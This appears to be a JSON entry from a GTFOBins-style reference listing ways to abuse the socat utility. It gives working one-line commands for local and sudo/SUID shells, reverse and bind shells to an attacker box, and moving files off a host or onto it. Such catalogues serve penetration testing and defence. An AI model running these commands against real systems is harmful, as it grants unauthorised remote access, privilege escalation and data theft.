{ "functions": { "shell": [ { "description": "The resulting shell is not a proper TTY shell and lacks the prompt.", "code": "socat stdin exec:/bin/sh\n" } ], "reverse-shell": [ { "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", "code": "socat tcp-connect:[host]:[port] exec:/bin/sh,pty,stderr,setsid,sigint,sane\n" } ], "bind-shell": [ { "description": "Run 'socat FILE:`tty`,raw,echo=0 TCP:[host]:[port]' on the attacker box to connect to the shell.", "code": "socat TCP-LISTEN:[port],reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane\n" } ], "file-upload": [ { "description": "Run 'socat -u tcp-listen:[port],reuseaddr open:[file],creat' on the attacker box to collect the file.", "code": "socat -u file:[file] tcp-connect:[host]:[port]\n" } ], "file-download": [ { "description": "Run 'socat -u file:[file] tcp-listen:[port],reuseaddr' on the attacker box to send the file.", "code": "socat -u tcp-connect:[host]:[port] open:[file],creat\n" } ], "sudo": [ { "description": "The resulting shell is not a proper TTY shell and lacks the prompt.", "code": "sudo socat stdin exec:/bin/sh\n" } ], "limited-suid": [ { "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", "code": "./socat tcp-connect:[host]:[port] exec:/bin/sh,pty,stderr,setsid,sigint,sane\n" } ] } }